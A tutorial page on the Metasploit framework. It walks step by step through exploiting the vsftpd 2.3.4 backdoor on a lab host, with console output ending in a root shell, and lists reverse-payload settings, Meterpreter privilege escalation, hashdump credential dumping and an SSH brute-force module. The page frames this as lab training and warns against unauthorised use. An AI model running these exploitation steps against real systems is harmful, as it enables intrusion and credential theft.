Metasploit
Metasploit is the exploitation framework that turned exploit development from hand-written C into a repeatable process. It packages exploits, payloads and post-exploitation tools behind one console.
What it is
Metasploit Framework is a modular exploitation platform. Instead of writing a separate program for every vulnerability, you select a module, set a few options and run it. The framework handles the plumbing: connecting to the target, delivering the payload, and giving you a session back.
Everything is a module, and the module types matter:
- exploit — the code that takes advantage of a specific vulnerability.
- payload — what runs after exploitation: a shell, a Meterpreter session, a single command.
- auxiliary — scanners, fuzzers, brute-forcers and other non-exploit tools (including a port scanner and SMB enumeration).
- post — modules that run inside an established session: privilege escalation checks, credential dumping, persistence, pivoting.
- encoder / nop — payload shaping, largely legacy now that most payloads are staged and encrypted.
The Meterpreter payload is the famous part: an in-memory agent with commands for file transfer, screenshots, keylogging, port forwarding and privilege escalation. It runs in memory, so it leaves little on disk — which is why it is both powerful for testing and heavily detected by modern EDR.
How to use Metasploit
Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.
Start the console and find a module
msf6 > search type:exploit vsftpd
Matching Modules ================ # Name Rank - ---- ---- 0 exploit/unix/ftp/vsftpd_234_backdoor excellent 1 exploit/linux/ftp/proftp_sreplace great # Rank "excellent" means it rarely crashes the service
Load it and read the options
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor && show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s) RPORT 21 yes The target port # Required=yes means it will not run until you set it
Set the target and check compatibility
msf6 > set RHOSTS 10.10.10.5 && check
RHOSTS => 10.10.10.5 [+] 10.10.10.5:21 - The target is vulnerable to the backdoor # check runs the detection without exploiting
Run it and catch the session
msf6 > run
[*] 10.10.10.5:21 - Banner: 220 (vsFTPd 2.3.4) [*] 10.10.10.5:21 - Triggering backdoor... [+] 10.10.10.5:21 - Backdoor has been spawned! [+] Command shell session 1 opened msf6 > sessions -i 1 id uid=0(root) gid=0(root)
Prove impact, then clean up
msf6 > sessions -l && sessions -k 1
Active sessions
===============
Id Name Type Information Connection
1 shell root @ 10.10.10.5 10.10.10.1:4444 → 10.10.10.5
[*] Killing all sessions...Flags & options
| FLAG | WHAT IT DOES |
|---|---|
| search | Find modules by keyword, type, platform. |
| use | Load a module. |
| show options | List what must be configured. |
| set RHOSTS | Target address (or CIDR range). |
| set LHOST / LPORT | Your address — must be reachable from the target. |
| check | Test whether the target is vulnerable without exploiting. |
| run / exploit | Execute the module. |
| sessions -l / -i N / -k | List, interact with, or kill sessions. |
| setg | Set an option globally for all modules. |
| info | Full description, references and options. |
| msfdb init | Initialise the database so hosts/services persist. |
Why it matters
Metasploit turns "I know this version is vulnerable" into "I have a session and can prove impact". That proof is the difference between a finding and a fix. But the framework also makes it easy to crash a service by firing the wrong module — which is why version confirmation matters more than speed.
How it works
The workflow inside msfconsole is always the same five steps: search → use → set → run → interact.
You search for a module matching the vulnerability you found during reconnaissance — which is why Nmap version detection matters so much: "vsftpd 2.3.4" tells you exactly which module to search for. Once selected, show options lists what must be configured: the target address (RHOSTS), the target port (RPORT), and for reverse payloads your own listening address (LHOST) and port (LPORT).
The distinction between bind and reverse payloads is the concept beginners get wrong. A bind payload listens on the target and you connect inward — it fails behind NAT and firewalls. A reverse payload makes the target connect back to you — it works through most firewalls, but requires your LHOST to be reachable from the target, and that is the number one reason a payload "does not work" in a lab.
After exploitation you get a session. sessions -l lists them, sessions -i 1 enters one. From there, post modules do the rest.
Code that triggers one specific vulnerability in one specific version of one product.
EXAMPLEexploit/unix/ftp/vsftpd_234_backdoor targets exactly vsftpd 2.3.4 — not 2.3.5.
Match the version from Nmap before you run anything.
What runs after the exploit succeeds: a shell, Meterpreter, or a single command.
BIND vs REVERSEBind listens on the target (fails behind NAT). Reverse makes the target connect back to you (works through firewalls, needs a reachable LHOST).
GOTCHAArchitecture must match — a 64-bit payload against a 32-bit target fails silently.
Non-exploit modules: scanners, fuzzers, brute-forcers, enumeration.
EXAMPLEauxiliary/scanner/smb/smb_version fingerprints SMB across a range.
Cheap recon that keeps results in the database for the rest of the engagement.
Modules that run inside an existing session.
EXAMPLESPrivilege escalation checks, credential collection, pivoting, persistence.
RULEDocument everything you run — post modules change the target.
Commands & syntax
msfconsole -q
# inside the console
search vsftpd
search type:exploit platform:linux smb
info exploit/unix/ftp/vsftpd_234_backdooruse exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5 # YOUR address, reachable from the target
set payload cmd/unix/reverse
runsessions -l sessions -i 1 # inside a Meterpreter session sysinfo getuid getsystem # attempt privesc hashdump # lab only background
use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.1.0/24 run use auxiliary/scanner/ssh/ssh_login set USERPASS_FILE /root/creds.txt run
systemctl start postgresql
msfdb init
# then hosts / services / vulns / creds persist across sessions
hosts
servicesmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.5 RHOSTS => 10.10.10.5 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run [*] 10.10.10.5:21 - Banner: 220 (vsFTPd 2.3.4) [*] 10.10.10.5:21 - USER: 530 Permission denied. [*] 10.10.10.5:21 - Triggering backdoor... [+] 10.10.10.5:21 - Backdoor has been spawned! [*] 10.10.10.5:21 - Command shell session 1 opened msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1 [*] Starting interaction with 1... id uid=0(root) gid=0(root) groups=0(root) # Root from a 2011 backdoor in a 2011 FTP daemon. # Old services are not history — they are still on networks.
Common mistakes
Wrong LHOST
The target cannot reach your loopback. Use the lab interface IP.
Payload architecture mismatch
A 64-bit payload against a 32-bit target fails silently.
Exploiting without confirming the version
Wrong version = crashed service = angry client.
Leaving sessions open
Sessions time out, logs fill, and the target may become unstable.
Thinking Meterpreter is invisible
Modern EDR detects Meterpreter reliably. In real engagements, custom payloads and living-off-the-land techniques are used for a reason.
Using Metasploit against anything you do not own
Unauthorised exploitation is a criminal offence.
Practice safely
Your lab: Metasploitable 2 and Metasploitable 3 are VMs built specifically to be exploited — dozens of intentionally vulnerable services. Run them on a host-only network with Kali and work through them with Metasploit.
Structured learning: TryHackMe's Metasploit room walks through the console end to end. Hack The Box's "Starting Point" machines are designed for exactly this stage.